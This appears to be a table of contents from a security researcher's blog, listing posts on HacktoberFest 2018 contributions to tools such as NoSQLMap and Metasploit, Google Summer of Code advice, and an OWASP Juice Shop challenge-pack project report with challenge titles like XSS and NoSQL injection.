CaptainFreak Experience #1 - HacktoberFest 2018

HacktoberFest 2018

GitDump

Reconnoitre

NoSQLMap

Subfinder ♥

Metasploit ❤❤

Google Summer of Code 101

Google Summer of Code 101

Prerequisites

Prereparation

Application

Learnings

Perks

OWASP Juice Shop : Challenge Pack 2018 (GSoC project report)

OWASP Juice Shop Challenge Pack 2018

Tests For “Old-School XSS” Challenge

“Lateral Privilege Escalation/Insecure Direct Object Reference” Challenge

“Vulnerable Node Module” Challenge

“Tier 3 NoSQL Injection” Challenge

“HTTP Parameter Pollution” Challenge

Secret `layout` parameter

Definition of `res.render` in ExpressJs. Link

Definition of `req.app.render` in ExpressJs. Link

`view.render` in ExpressJs. Link